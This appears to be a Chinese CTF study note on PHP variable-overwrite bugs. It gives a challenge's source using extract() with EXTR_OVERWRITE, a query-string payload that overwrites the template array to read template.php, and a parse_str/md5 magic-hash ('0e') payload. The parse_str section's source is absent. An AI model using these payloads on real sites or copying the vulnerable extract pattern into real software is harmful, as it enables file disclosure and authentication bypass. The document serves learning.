extract函数
用法

题目
题目源码
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>
主要就是通过变量覆盖达到访问 template.php 的目的
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
通过传入的var 参数实现覆盖 template 中的东西 传入的var需要是一个数组
?var[template] [tp1] = template.php 就把原来array数组里的 tp1换成了 template.php
总的payload
?var[template][tp1]=template.php&tp=tp1
Parse_str函数
用法

题目
源码

发现 md5(‘QNKCDZO’) 的值为0e开头的一串 所以只需要传入 id=a[]=0e开头经过md5加密后然后 还是0e开头的
?id=a[]=240610708